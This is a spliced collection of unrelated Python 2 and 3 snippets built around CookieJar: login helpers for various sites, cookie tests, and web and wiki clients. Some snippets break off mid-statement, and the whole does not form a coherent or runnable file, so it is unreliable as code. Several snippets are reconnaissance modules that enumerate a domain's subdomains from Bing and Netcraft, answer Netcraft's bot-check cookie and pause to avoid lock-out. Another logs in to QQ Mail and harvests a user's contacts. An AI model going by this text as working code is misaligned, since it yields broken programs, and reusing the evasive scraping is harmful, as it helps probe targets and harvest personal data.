def get_opener(): global OPENER if OPENER: return OPENER cj = CookieJar() ck = Cookie( version=0, name="Locale", value="Russian", port=None, port_specified=False, domain="acm.timus.ru", domain_specified=False, domain_initial_dot=False, path="/", path_specified=True, secure=False, expires=None, discard=True, comment=None, comment_url=None, rest={"HttpOnly": None}, rfc2109=False, ) cj.set_cookie(ck) opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) data = urllib.urlencode({"Action": "edit", "JudgeID": JUDGE_ID, "Password": PASSWORD}) response = opener.open(AUTH_URL, data) OPENER = opener return opener
def _doPOST(action=None, extra_headers=None, args=None, url=API_URL, host=HOST): body = ACTION_REQUEST_MAPPING.get(action, None) if not body: print "Unable to find the request data for the action %s" %action sys.exit(1) body = body % args headers={ 'Host' : host, 'Accept-Encoding' : 'deflate', 'Content-Length' : len(body), 'User-Agent' : '"Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729)', } if extra_headers: headers.update(extra_headers) request = urllib2.Request(url, body, headers) try: response = urllib2.urlopen(request) cookies = CookieJar() cookies.extract_cookies(response, request) cookie_handler= urllib2.HTTPCookieProcessor( cookies ) redirect_handler= urllib2.HTTPRedirectHandler() opener = urllib2.build_opener(redirect_handler, cookie_handler) resp = opener.open(request) return resp.read() except urllib2.HTTPError, e: print >> sys.stderr, "National Rail servers having some trouble - ", e raise e
def _doPOST(POST_DATA=LOGIN_POST_DATA, extra_headers=META_HEADERS, args=None, url=LOGIN_URL, cookies=None): """ Method to login to sky """ body = '' if POST_DATA: body = '&'.join([k+'='+v for k,v in POST_DATA.items()]) % args headers={ 'Accept-Encoding' : 'deflate', 'Content-Length' : len(body), } if extra_headers: headers.update(extra_headers) request = urllib2.Request(url, body, headers) try: response = urllib2.urlopen(request) if not cookies: cookies = CookieJar() cookies.extract_cookies(response, request) cookie_handler= urllib2.HTTPCookieProcessor(cookies) redirect_handler= urllib2.HTTPRedirectHandler() opener = urllib2.build_opener(redirect_handler, cookie_handler) resp = opener.open(request) return cookies, resp.read() except urllib2.HTTPError, e: print >> sys.stderr, "Sky servers having some trouble - ", e raise e
def extract_cookiejar(self): """ Extract cookies that pycurl instance knows. Returns `CookieJar` object. """ # Example of line: # www.google.com\tFALSE\t/accounts/\tFALSE\t0\tGoogleAccountsLocale_session\ten # Fields: # * domain # * whether or not all machines under that domain can read the cookie's information. # * path # * Secure Flag: whether or not a secure connection (HTTPS) is required to read the cookie. # * exp. timestamp # * name # * value cookiejar = CookieJar() for line in self.curl.getinfo(pycurl.INFO_COOKIELIST): values = line.split('\t') # old #cookies[values[-2]] = values[-1] # new cookie = create_cookie( name=values[5], value=values[6], domain=values[0], path=values[2], secure=values[3] == "TRUE", expires=int(values[4]) if values[4] else None, ) cookiejar.set_cookie(cookie) return cookiejar
def test_cookie_store(self): cj = CookieJar() test_email = "*****@*****.**" test_cookies = [Cookie(version=0, name='Name', value='1', port=None, port_specified=False, domain='www.example.com', domain_specified=False, domain_initial_dot=False, path='/', path_specified=True, secure=False, expires=None, discard=True, comment=None, comment_url=None, rest={'HttpOnly': None}, rfc2109=False)] for c in test_cookies: cj.set_cookie(c) x = Credentials(id=test_email) cookie_list = [c for c in cj] x.cookies = cookie_list x.put() y = Credentials.get_by_id(test_email) self.assertIsNotNone(y) self.assertEquals(y.key.id(), test_email) stored_credentials_dict = [sc.__dict__ for sc in y.cookies] self.assertEquals(stored_credentials_dict, [sc.__dict__ for sc in test_cookies])
def module_run(self, domains): base_url = 'https://www.bing.com/search' cnt = 0 new = 0 for domain in domains: self.heading(domain, level=0) base_query = 'domain:' + domain pattern = '"b_algo"><h2><a href="(?:\w*://)*(\S+?)\.%s[^"]*"' % (domain) subs = [] # control variables new = True page = 0 nr = 50 cookiejar = CookieJar() cookiejar.set_cookie(self.make_cookie('SRCHHPGUSR', 'NEWWND=0&NRSLT=%d&SRCHLANG=&AS=1' % (nr), '.bing.com')) # execute search engine queries and scrape results storing subdomains in a list # loop until no new subdomains are found while new == True: content = None query = '' # build query based on results of previous results for sub in subs: query += ' -domain:%s.%s' % (sub, domain) full_query = base_query + query url = '%s?first=%d&q=%s' % (base_url, (page*nr), urllib.quote_plus(full_query)) # bing errors out at > 2059 characters not including the protocol if len(url) > 2066: url = url[:2066] self.verbose('URL: %s' % (url)) # send query to search engine resp = self.request(url, cookiejar=cookiejar) if resp.status_code != 200: self.alert('Bing has encountered an error. Please submit an issue for debugging.') break content = resp.text sites = re.findall(pattern, content) # create a unique list sites = list(set(sites)) new = False # add subdomain to list if not already exists for site in sites: if site not in subs: subs.append(site) new = True host = '%s.%s' % (site, domain) self.output('%s' % (host)) new += self.add_hosts(host) if not new: # exit if all subdomains have been found if not '>Next</a>' in content: break else: page += 1 self.verbose('No New Subdomains Found on the Current Page. Jumping to Result %d.' % ((page*nr)+1)) new = True # sleep script to avoid lock-out self.verbose('Sleeping to avoid lockout...') time.sleep(random.randint(5,15)) cnt += len(subs) self.summarize(new, cnt)
def cookiejar(self): cookiejar = CookieJar() for domain, items in self._cookie.items(): for path, names in items.items(): for name, cookie in names.items(): cookiejar.set_cookie(cookie) return cookiejar
def clear(self, domain=None, path=None, name=None): if issubclass(CookieJar, object): super(KeyringCookieJar, self).clear(domain, path, name) else: # old-style class in Python 2 CookieJar.clear(self, domain, path, name) self.nuke() self.save()
def __init__(self, svc=DEFAULT_SERVICE, acct=None, delayload=False, policy=None): CookieJar.__init__(self, policy) self.svc = "Cookies for " + svc self.acct = getpass.getuser() if acct is None else acct self.delayload = bool(delayload) if not self.delayload: self.load()
def __init__(self, token=None): CookieJar.__init__(self) if token: parts = token.split("_") if len(parts) == 2: crowd, stat = parts self.make_cookie(self.CROWD_COOKIE, crowd) self.make_cookie(self.STAT_COOKIE, stat)
def extract_request_cookies(req): jar = CookieJar() host = urlparse.urlsplit(req.host_url).hostname for k, v in req.str_cookies.iteritems(): yield jar._cookie_from_cookie_tuple( (k, v, {"domain": host, "path": "/"}, {}), None)
class Browser(object): def __init__(self, base_url): self.cookie_jar = CookieJar() self.opener = build_opener(HTTPCookieProcessor(self.cookie_jar)) self.base_url = base_url def open(self, url, **kwargs): if '_raw' in kwargs: _raw = kwargs['_raw']; del kwargs['_raw'] else: _raw = False if '_is_json' in kwargs: _is_json = kwargs['_is_json']; del kwargs['_is_json'] else: _is_json = True url = urljoin(self.base_url, url) data = urlencode(kwargs).encode() headers = { u"Content-Type" : u"application/x-www-form-urlencoded", } req = Request(url, data, headers) res = self.opener.open(req) with closing(res) as fp: content = fp.read() content = content.decode() if not _raw: content = json.loads(content) return res, content def set_cookie(self, name, value): url = urlparse(self.base_url) cookie = Cookie( version=0, name=name, value=value, port=None, port_specified=False, domain=url.netloc, domain_specified=False, domain_initial_dot=False, path=url.path, path_specified=True, secure=False, expires=sys.maxsize, discard=False, comment=None, comment_url=None, rest={}, rfc2109=False, ) self.cookie_jar.set_cookie(cookie) def __getitem__(self, url): return functools.partial(self.open, url)
def __init__(self, cookiestring='', policy=None): CookieJar.__init__(self, policy) self.cookiestring = cookiestring if not cookiestring: return f = StringIO.StringIO(cookiestring) try: self._really_load(f, '[No file. Content loaded from string]', False, False) finally: f.close()
def cookies(self): jar = CookieJar() if self.settings: jar.set_cookie(Cookie( version=0, name='settings', value=urllib.quote(phpserialize.serialize(self.settings)), port=None, port_specified=False, domain='mediapoisk.info', domain_specified=True, domain_initial_dot=True, path='/', path_specified=True, secure=False, expires=None, discard=True, comment=None, comment_url=None, rest=None, rfc2109=True )) return jar
def test_cookiejar(self): c1 = create_cookie('foo', 'bar') c2 = create_cookie('foo', 'bar') self.assertFalse(c1 == c2) c = create_cookie('foo', 'bar', domain='.dumpz.org') self.assertEquals(c.domain, '.dumpz.org') cj = CookieJar() cj.set_cookie(create_cookie('foo', 'bar', domain='foo.com')) cj.set_cookie(create_cookie('foo', 'bar', domain='bar.com')) self.assertEqual(len(cj), 2)
def request(url, data=None, headers={}, cookies={}, auth=None): if cookies: headers['Cookie'] = '; '.join(urllib.quote(k) + '=' + urllib.quote(v) for (k, v) in cookies.iteritems()) request = urllib2.Request(url.encode('utf8'), data, headers) manager = urllib2.HTTPPasswordMgrWithDefaultRealm() if auth: manager.add_password(None, request.get_full_url(), auth[0], auth[1]) opener = urllib2.build_opener(urllib2.HTTPBasicAuthHandler(manager), urllib2.HTTPDigestAuthHandler(manager)) response = opener.open(request) cj = CookieJar() cj.extract_cookies(response, request) return HttpResponse(response.read(), response.info().headers, dict((c.name, c.value) for c in cj))
def __init__(self, cookieStr=None, delayload=True, policy=None): """ Cookies are NOT loaded from the named file until either the .load() or .revert() method is called. """ CookieJar.__init__(self, policy) if cookieStr is not None: if 1: cookieStr+"" self.load(cookieStr) else: raise ValueError("cookieStr must be string-like")
def getCurrentUsage(username, password): url = "https://cyberstore.tpg.com.au/your_account/index.php?function=checkaccountusage" data = {} values = {'check_username': username, 'password': password} data = urllib.urlencode(values) request = urllib2.Request(url, data) try: response = urllib2.urlopen(request) except: print("ERROR: Could not retrieve TPG website..."); raise cookies = CookieJar() cookies.extract_cookies(response, request) cookie_handler = urllib2.HTTPCookieProcessor(cookies) redirect_handler = urllib2.HTTPRedirectHandler() opener = urllib2.build_opener(redirect_handler,cookie_handler) try: response = opener.open(request) except: print("ERROR: Could not retrieve account usage website..."); raise the_page = response.read() # For accounts that count upload and download found = re.search('(<BR>Peak\ Downloads\ used:\ )(.+)( MBPeak\ Uploads\ used:\ )(.+)( MBPeak Total used: )(.+)( MB<br>Off-Peak Downloads used: )(.+)( MB<br>Off-Peak Uploads used: )(.+)( MBOff-Peak Total used: )(.+)( MB</td>)', the_page) if found: onpeak_downloads_used = found.group(2) onpeak_uploads_used = found.group(4) onpeak_used = found.group(6) offpeak_downloads_used = found.group(8) offpeak_uploads_used = found.group(10) offpeak_used = found.group(12) return float(onpeak_used), float(offpeak_used) # For accounts that only count download found = re.search('(<BR>Peak\ Downloads\ used:\ )(.+)( MB<br>Off-Peak Downloads used: )(.+)( MB</td>)', the_page) if found: onpeak_used = found.group(2) offpeak_used = found.group(4) return float(onpeak_used), float(offpeak_used) print("ERROR: Could not find quota information in returned site. Check login details."); #print(the_page) raise
def module_run(self, domains): url = 'http://searchdns.netcraft.com/' pattern = '<td align\=\"left\">\s*<a href=\"http://(.*?)/"' # answer challenge cookie cookiejar = CookieJar() payload = {'restriction': 'site+ends+with', 'host': 'test.com'} resp = self.request(url, payload=payload, cookiejar=cookiejar) cookiejar = resp.cookiejar for cookie in cookiejar: if cookie.name == 'netcraft_js_verification_challenge': challenge = cookie.value response = hashlib.sha1(urllib.unquote(challenge)).hexdigest() cookiejar.set_cookie(self.make_cookie('netcraft_js_verification_response', '%s' % response, '.netcraft.com')) break cnt = 0 new = 0 for domain in domains: self.heading(domain, level=0) payload['host'] = domain subs = [] # execute search engine queries and scrape results storing subdomains in a list # loop until no Next Page is available while True: self.verbose('URL: %s?%s' % (url, urllib.urlencode(payload))) resp = self.request(url, payload=payload, cookiejar=cookiejar) content = resp.text sites = re.findall(pattern, content) # create a unique list sites = list(set(sites)) # add subdomain to list if not already exists for site in sites: if site not in subs: subs.append(site) self.output('%s' % (site)) new += self.add_hosts(site) # verifies if there's more pages to look while grabbing the correct # values for our payload... link = re.findall(r'(\blast\=\b|\bfrom\=\b)(.*?)&', content) if not link: break else: payload['last'] = link[0][1] payload['from'] = link[1][1] self.verbose('Next page available! Requesting again...' ) # sleep script to avoid lock-out self.verbose('Sleeping to Avoid Lock-out...') time.sleep(random.randint(5,15)) cnt += len(subs) self.summarize(new, cnt)
def module_run(self, domains): url = "http://searchdns.netcraft.com/" pattern = '<td align\="left">\s*<a href="http://(.*?)/"' # answer challenge cookie cookiejar = CookieJar() payload = {"restriction": "site+ends+with", "host": "test.com"} resp = self.request(url, payload=payload, cookiejar=cookiejar) cookiejar = resp.cookiejar for cookie in cookiejar: if cookie.name == "netcraft_js_verification_challenge": challenge = cookie.value response = hashlib.sha1(urllib.unquote(challenge)).hexdigest() cookiejar.set_cookie( self.make_cookie("netcraft_js_verification_response", "%s" % response, ".netcraft.com") ) break for domain in domains: self.heading(domain, level=0) payload["host"] = domain subs = [] # execute search engine queries and scrape results storing subdomains in a list # loop until no Next Page is available while True: self.verbose("URL: %s?%s" % (url, encode_payload(payload))) resp = self.request(url, payload=payload, cookiejar=cookiejar) content = resp.text sites = re.findall(pattern, content) # create a unique list sites = list(set(sites)) # add subdomain to list if not already exists for site in sites: if site not in subs: subs.append(site) self.output("%s" % (site)) self.add_hosts(site) # verifies if there's more pages to look while grabbing the correct # values for our payload... link = re.findall(r"(\blast\=\b|\bfrom\=\b)(.*?)&", content) if not link: break else: payload["last"] = link[0][1] payload["from"] = link[1][1] self.verbose("Next page available! Requesting again...") # sleep script to avoid lock-out self.verbose("Sleeping to Avoid Lock-out...") time.sleep(random.randint(5, 15)) if not subs: self.output("No results found.")
def get_country_index(): for country in range(1,999): jar = CookieJar() req = Request(URL_SEARCH, urlencode({'country': country})) res = urlopen(req) jar.extract_cookies(res, req) for page in count(1): req = Request(URL % (country, page)) jar.add_cookie_header(req) doc = html.parse(urlopen(req)) anchors = list(doc.findall('//table[@id="searchResultsTable"]/tbody//a')) for a in anchors: get_entry(urljoin(URL, a.get('href'))) if doc.find('//span[@class="pagelinks"]/a/img[@alt="Next"]') is None: break
def test_cookielib_compatibility(): cj = CookieJar() # Set time in order to be still valid in some years, when cookie strings expire cj._now = cj._policy._now = time.mktime((2012, 1, 1, 0, 0, 0, 0, 0, 0)) request = Request('http://test.com') parser = HTTPResponse() parser.feed(MULTI_COOKIE_RESPONSE) cookies = cj.make_cookies(parser, request) # Don't use extract_cookies directly, as time can not be set there manually for testing for cookie in cookies: if cj._policy.set_ok(cookie, request): cj.set_cookie(cookie) # Three valid, not expired cookies placed assert len(list(cj)) == 3
def get_cookies_from_response(url): cookiejar = CookieJar() opener = urllib2.build_opener( urllib2.HTTPCookieProcessor(cookiejar)) opener.open(url) # add a new cookie or replace a old one newcookie = make_cookie('newcookie', '11111', '.baidu.com', '/') # remove a cookie cookiejar.set_cookie(newcookie) cookiejar.clear('.baidu.com', '/', 'newcookie') return cookiejar
class Wypok(object): def __init__(self, cookies): self.cj = CookieJar() for i in json.loads(cookies): c = Cookie( None, i["name"], i["value"], "80", "80", i["domain"], None, None, i["path"], None, i["secure"], time() + (60 * 60 * 60 * 24 * 365), "TestCookie", None, None, None, ) self.cj.set_cookie(c) def get(self, url): r = requests.get(url, cookies=self.cj) return r.content def entries(self, url): ht = self.get(url) soup = BeautifulSoup(ht, "html.parser") ret = [] for i in soup.find_all("li", class_=re.compile("link")): t = i.find("h2").text.strip() link = i.find("h2").find("a").get("href") desc = i.find("p", class_="text").text.strip() tags = [] for j in i.find_all("a", class_="tag"): if "unhide" not in j.attrs["class"]: tags.append(j.text.strip().lstrip("#")) wykopUrl = i.find("div", class_="diggbox").find("a").get("href") if not "partner" in wykopUrl and ("voteUp" in wykopUrl or "voteRemove" in wykopUrl): ret.append(Znalezisko(t, desc, link, wykopUrl, tags, handle=self)) return ret
def __init__(self, base, user = None, password = None, forget = False, skip_auth = False, httpuser = None, httppassword = None ): """ {user} and {password} will be prompted if an action needs them and they are not supplied. if {forget} is set, the login cookie will be destroyed on quit. @param base: base url of the bugzilla @type base: string @keyword user: username for authenticated actions. @type user: string @keyword password: password for authenticated actions. @type password: string @keyword forget: forget login session after termination. @type forget: bool @keyword skip_auth: do not authenticate @type skip_auth: bool """ self.base = base scheme, self.host, self.path, query, frag = urlsplit(self.base) self.authenticated = False self.forget = forget if not self.forget: try: cookie_file = os.path.join(os.environ['HOME'], COOKIE_FILE) self.cookiejar = LWPCookieJar(cookie_file) if forget: try: self.cookiejar.load() self.cookiejar.clear() self.cookiejar.save() os.chmod(self.cookiejar.filename, 0700) except IOError: pass except KeyError: self.warn('Unable to save session cookies in %s' % cookie_file) self.cookiejar = CookieJar(cookie_file) else: self.cookiejar = CookieJar() self.opener = build_opener(HTTPCookieProcessor(self.cookiejar)) self.user = user self.password = password self.httpuser = httpuser self.httppassword = httppassword self.skip_auth = skip_auth
def qq_friends(request): for k in request.POST: print '%s : %s' % (k, request.POST[k]) verifysession = request.COOKIES['verifysession'] print verifysession headers = {'Cookie':'''verifysession=%s''' % verifysession, 'Content-Type':'application/x-www-form-urlencoded', 'Referer':'http://mail.qq.com/', 'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1', } data = urlencode(request.POST) login_request = Request('http://%s.mail.qq.com/cgi-bin/login?sid=0,2,zh_CN' % server_no, data, headers) result = urlopen(login_request) content = result.read() login_error = login_error_re.search(content) if login_error: error_no = login_error.group(1) #1:password wrong 2: captcha wrong if error_no == '1': error_msg = 'password or qq wrong' elif error_no == '2': error_msg = 'captcha wrong' return render_to_response('friends.html', locals()) sid = login_succ_re.search(content).group(1) friends_list_headers = {'Referer':'http://mail.qq.com/', 'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1', } friends_list_request = Request('http://%s.mail.qq.com/cgi-bin/addr_listall?sid=%s&sorttype=null&category=common' % (server_no, sid), headers = friends_list_headers) cj = CookieJar() cj.extract_cookies(result, friends_list_request) opener = build_opener(HTTPCookieProcessor(cj)) result = opener.open(friends_list_request) grouplist = hacked_friendlist_page_re.search(result.read().decode('gb2312', 'ignore')).group(0) soup = BeautifulSoup(grouplist, fromEncoding = 'utf-8') grouplist = soup.findAll('li') friend_list = {} for group in grouplist: friend_list[group.a.string] = [] list_request = Request('http://%s.mail.qq.com%s' % (server_no, group.a['href']), headers = friends_list_headers) result = opener.open(list_request) body = BeautifulSoup(body_re.search(result.read().decode('gb2312', 'ignore')).group(0), fromEncoding = 'utf-8') friends = body.findAll('div', attrs={'class':'M'}) for friend in friends: friend_name = unescape(friend.p.span.contents[1].replace(' ', '', 1)) friend_email = friend.p.img['addr'] friend_list[group.a.string].append((friend_name, friend_email)) return render_to_response('friends.html', locals())
def request(url, data=None, headers={}, cookies={}, auth=None, returnHeaders=False): cookieHeader = cookieencode(cookies) if cookieHeader: headers['Cookie'] = cookieHeader request = urllib2.Request(url, data, headers) manager = urllib2.HTTPPasswordMgrWithDefaultRealm() if auth: manager.add_password(None, request.get_full_url(), auth[0], auth[1]) opener = urllib2.build_opener(urllib2.HTTPBasicAuthHandler(manager), urllib2.HTTPDigestAuthHandler(manager)) response = opener.open(request) if returnHeaders: cj = CookieJar() cj.extract_cookies(response, request) return response.read(), response.info().headers, dict((c.name, c.value) for c in cj) else: return response.read()
def __init__(self, username=None, password=None, debug=False, naptime=True, user_agent=DEFAULT_USER_AGENT): self.sleep_after_request = naptime self.user_agent = user_agent self.debug = debug # Try setting the username from args self.username = username self.password = password self.logged_in = False self.cookie_jar = CookieJar() if self.debug: # Noisy HTTPS handler for debugging self.url_opener = build_opener( HTTPCookieProcessor(self.cookie_jar), HTTPSHandler(debuglevel=1)) else: self.url_opener = build_opener( HTTPCookieProcessor(self.cookie_jar)) self.url_opener.addheaders = [ ('User-Agent', self.user_agent) ] logging.info('Downloader intialized.')
def __init__(self): ''' Constructor. It delegates construction to the base class L{HttxObject} and initializes the member variables ''' HttxObject.__init__(self) self.cookiejar = CookieJar()
def __read_cj(self): MAX_EPS = 86400 #24 hours if os.path.exists("cookiejar.dat"): modtime = os.stat("cookiejar.dat").st_mtime if time.time() - modtime > MAX_EPS: return None else: dd = pickle.load(open("cookiejar.dat", "r")) cj = CookieJar() for c in dd["cookies"]: cj.set_cookie(c) self.__uid = dd["uid"] self.__nickname = dd["nick"] return cj else: return None
def get_fresh(self): cook = CookieJar() agnt = CookieAgent(Agent(reactor), cook) return cook, agnt
def __init__(self, name=None, project=None, lang=None, base_url=None, article_path=None, script_path=None, sql=None, namespaces=None, login=(None, None), cookiejar=None, user_agent=None, use_https=False, assert_edit=None, maxlag=None, wait_between_queries=2, logger=None, search_config=None): """Constructor for new Site instances. This probably isn't necessary to call yourself unless you're building a Site that's not in your config and you don't want to add it - normally all you need is wiki.get_site(name), which creates the Site for you based on your config file and the sites database. We accept a bunch of kwargs, but the only ones you really "need" are *base_url* and *script_path*; this is enough to figure out an API url. *login*, a tuple of (username, password), is highly recommended. *cookiejar* will be used to store cookies, and we'll use a normal CookieJar if none is given. First, we'll store the given arguments as attributes, then set up our URL opener. We'll load any of the attributes that weren't given from the API, and then log in if a username/pass was given and we aren't already logged in. """ # Attributes referring to site information, filled in by an API query # if they are missing (and an API url can be determined): self._name = name self._project = project self._lang = lang self._base_url = base_url self._article_path = article_path self._script_path = script_path self._namespaces = namespaces # Attributes used for API queries: self._use_https = use_https self._assert_edit = assert_edit self._maxlag = maxlag self._wait_between_queries = wait_between_queries self._max_retries = 6 self._last_query_time = 0 self._api_lock = Lock() self._api_info_cache = {"maxlag": 0, "lastcheck": 0} # Attributes used for SQL queries: if sql: self._sql_data = sql else: self._sql_data = {} self._sql_conn = None self._sql_lock = Lock() self._sql_info_cache = {"replag": 0, "lastcheck": 0, "usable": None} # Attribute used in copyright violation checks (see CopyrightMixIn): if search_config: self._search_config = search_config else: self._search_config = {} # Set up cookiejar and URL opener for making API queries: if cookiejar is not None: self._cookiejar = cookiejar else: self._cookiejar = CookieJar() if not user_agent: user_agent = constants.USER_AGENT # Set default UA self._opener = build_opener(HTTPCookieProcessor(self._cookiejar)) self._opener.addheaders = [("User-Agent", user_agent), ("Accept-Encoding", "gzip")] # Set up our internal logger: if logger: self._logger = logger else: # Just set up a null logger to eat up our messages: self._logger = getLogger("earwigbot.wiki") self._logger.addHandler(NullHandler()) # Get all of the above attributes that were not specified as arguments: self._load_attributes() # If we have a name/pass and the API says we're not logged in, log in: self._login_info = name, password = login if name and password: logged_in_as = self._get_username_from_cookies() if not logged_in_as or name.replace("_", " ") != logged_in_as: self._login(login)
#!/usr/bin/python import urllib import urllib2 import re from cookielib import CookieJar import sys cj = CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) def main(): _, username, password = sys.argv fd1 = opener.open("http://www.google.com") metaLine = [l for l in fd1 if '<META HTTP-EQUIV="Refresh"' in l][0] if "login.tikona.in" not in metaLine: return url1 = metaLine[metaLine.index('URL=') + 4:-3] print "Step #1: Done" fd2 = opener.open(url1) #print fd2.read() url2 = opener.open( urllib2.Request( "https://login.tikona.in/userportal/" + "login.do?requesturi=http%3A%2F%2Fwww.google.com%2F&act=null", "")) print "Step #2: Done" #print url2.read() url2 = opener.open( urllib2.Request( "https://login.tikona.in/userportal/newlogin.do?phone=0",
return False else: return True # Import user created settings. This will override built-in settings if defined. if module_exists("config"): import config else: print( "Please set up the config.py file. Copy 'sample.config.py' to 'config.py' and set up options" ) sys.exit(2) # Initialize cookie jar and session cookies = CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookies)) print("Load login page") ### Load the login page. This will initialize some cookies. Save them. login_page = opener.open( 'https://disneyworld.disney.go.com/login/?returnUrl=https://mydisneyphotopass.disney.go.com/' ) # cookies are automatically saved. # grab the unique CSRF key. parse it. csrf_key = re.search('id="pep_csrf" value=".*"', login_page.read()) csrf_key = csrf_key.group(0) csrf_key = string.split(csrf_key, "\"") # split on double quote. easiest way. csrf_key = csrf_key[
class Network(DOMMixin): capabilities = [ 'cookies', 'headers', ] wait_expression = WaitExpression user_agent = { 'browser': 'network', 'platform': 'python', 'version': '1.0', } def __init__(self, base_url=None): # accept additional request headers? (e.g. user agent) self._base_url = base_url self.reset() def open(self, url, wait_for=None, timeout=0): """Open web page at *url*.""" self._open(url) def reset(self): self._referrer = None self._request_environ = None self._cookie_jar = CookieJar() self._opener = urllib2.build_opener( urllib2.HTTPCookieProcessor(self._cookie_jar) ) self.status_code = 0 self.status = '' self.response = None self.location = None self.headers = () def wait_for(self, condition, timeout=None): pass def sync_document(self): """The document is always synced.""" _sync_document = DOMMixin.sync_document @property def cookies(self): if not (self._cookie_jar and self.location): return {} request = urllib2.Request(self.location) policy = self._cookie_jar._policy # return ok will only return a cookie if the following attrs are set # correctly => # "version", "verifiability", "secure", "expires", # "port", "domain" return dict((c.name, c.value.strip('"')) for c in self._cookie_jar if policy.return_ok(c, request)) def set_cookie(self, name, value, domain=None, path=None, session=True, expires=None, port=None): # Cookie(version, name, value, port, port_specified, # domain, domain_specified, domain_initial_dot, # path, path_specified, secure, expires, # discard, comment, comment_url, rest, # rfc2109=False): cookie = Cookie(0, name, value, port, bool(port), domain or '', bool(domain), (domain and domain.startswith('.')), path or '', bool(path), False, expires, session, None, None, {}, False) self._cookie_jar.set_cookie(cookie) def delete_cookie(self, name, domain=None, path=None): try: self._cookie_jar.clear(domain, path, name) except KeyError: pass # Internal methods @lazy_property def _lxml_parser(self): return html_parser_for(self, wsgi_elements) def _open(self, url, method='GET', data=None, refer=True, content_type=None): before_browser_activity.send(self) open_started = time() if data: data = urlencode(data) url = urljoin(self._base_url, url) if method == 'GET': if '?' in url: url, query_string = url.split('?', 1) else: query_string = None if data: query_string = data if query_string: url = url + '?' + query_string request = urllib2.Request(url) elif method == 'POST': request = urllib2.Request(url, data) else: raise Exception('Unsupported method: %s' % method) if self._referrer and refer: request.add_header('Referer', self._referrer) logger.info('%s(%s)', url, method) request_started = time() response = self._opener.open(request) request_ended = time() self.status_code = response.getcode() self.headers = Headers( (head.strip().split(': ',1) for head in response.info().headers) ) self._referrer = request.get_full_url() self.location = response.geturl() self._response = response self.response = ''.join(list(response)) self._sync_document() open_ended = time() request_time = request_ended - request_started logger.info("Fetched %s in %0.3fsec + %0.3fsec browser overhead", url, request_time, open_ended - open_started - request_time) after_browser_activity.send(self)
def __init__(self, url, **kwargs): """ Request init """ self.request = None self.response = None self.code = -1 self.header = {} self.cookieJar = None self.reason = '' self.content = '' self.content_dict = {} # 是否将服务端返回结果从 json 转为 dict self.is_decode_response = kwargs.get('is_decode_response', False) data = kwargs.get('data', None) # 当请求是 GET 请求,同时传了 data 字典的话,post_type 默认是 form,会进行 urlencode,并拼接到请求 URL 上 post_type = kwargs.get('post_type', 'form') if data is not None: if isinstance(data, dict): if post_type == 'json': data_str = json.dumps(data) else: # data = {"name":"meetbill", "age":"21"} ==> urlencode(data) = 'age=21&name=meetbill' data_str = urlencode(data) if not isinstance(data_str, basestring): raise ValueError('data must be string or dict') else: data_str = None request_type = kwargs.get('type', 'POST') if data_str and isinstance( request_type, basestring) and request_type.upper() != 'POST': # 如果是 GET 请求,则将 data 中的内容转为 url 的一部分 url = '{}?{}'.format(url, data_str) data_str = None # GET data must be None self.request = urlRequest(url, data_str) # Content-type, 默认是 'application/x-www-form-urlencoded' if request_type.upper() == 'POST' and post_type == "json": self.request.add_header('Content-type', 'application/json') # referer referer = kwargs.get('referer', None) if referer: self.request.add_header('referer', referer) # user-agent user_agent = kwargs.get('user_agent', None) if user_agent: self.request.add_header('User-Agent', user_agent) # auth auth = kwargs.get('auth', None) if auth and isinstance(auth, dict) and 'usr' in auth: auth_string = base64.b64encode('{}:{}'.format( auth.get('usr', ''), auth.get('pwd', ''))) self.request.add_header('Authorization', 'Basic {}'.format(auth_string)) # cookie cookie = kwargs.get('cookie', None) cj = None if cookie: if isinstance(cookie, CookieJar): cj = cookie elif isinstance(cookie, dict): result = [] for k, v in cookie.items(): result.append('{}={}'.format(k, v)) cookie = '; '.join(result) elif isinstance(cookie, Cookie.BaseCookie): cookie = cookie.output(header='') if isinstance(cookie, basestring): self.request.add_header('Cookie', cookie) if cj is None: cj = CookieJar() #! TODO: proxy # build opener debuglevel = 1 if kwargs.get('debug', False) else 0 opener = build_opener(HTTPHandler(debuglevel=debuglevel), HTTPSHandler(debuglevel=debuglevel), HTTPCookieProcessor(cj)) # timeout timeout = kwargs.get('timeout') if not isinstance(timeout, int): timeout = _DEFAULT_TIMEOUT t_beginning = time.time() try: # opener.open accept a URL or a Request object # 程序中判断是字符串时按照 URL 来处理, 否则按照是已经封装好的 Request 处理 self.response = opener.open(self.request, timeout=timeout) self.code = self.response.getcode() self.header = self.response.info().dict self.cookieJar = cj self.content = self.response.read() # 进行将 response 转为 dict if self.is_decode_response: self.content_dict = json.loads(self.content) # 检查 response 内容是否符合预期 check_key = kwargs.get('check_key', None) check_value = kwargs.get('check_value', None) if check_key is not None and check_value is not None: # 检查 check_value 类型 if isinstance(check_value, list): if self.content_dict[check_key] not in check_value: self.code = -1 self.reason = "[response not match: {response_value} not in {check_value}]".format( response_value=self.content_dict[check_key], check_value=check_value) elif self.content_dict[check_key] != check_value: self.code = -1 self.reason = "[response not match: {response_value} != {check_value}]".format( response_value=self.content_dict[check_key], check_value=check_value) except HTTPError as e: self.code = e.code self.reason = '{}'.format(e) except URLError as e: self.code = -1 self.reason = e.reason except Exception as e: self.code = -1 self.reason = '{}'.format(e) seconds_passed = time.time() - t_beginning cost_str = "%.6f" % seconds_passed # 打印日志 f = inspect.currentframe().f_back file_name, lineno, func_name = self._get_backframe_info(f) log_msg = ("[file={file_name}:{func_name}:{lineno} " "type=http_{method} " "req_path={req_path} " "req_data={req_data} " "cost={cost} " "is_success={is_success} " "err_no={err_no} " "err_msg={err_msg} " "res_len={res_len} " "res_data={res_data} " "res_attr={res_attr}]".format(file_name=file_name, func_name=func_name, lineno=lineno, method=request_type, req_path=url, req_data=data, cost=cost_str, is_success=self.success(), err_no=self.code, err_msg=self.reason, res_len=len(self.content), res_data=self.content, res_attr=json.dumps( self.header))) if self.success(): log.info(log_msg) else: log.error(log_msg)
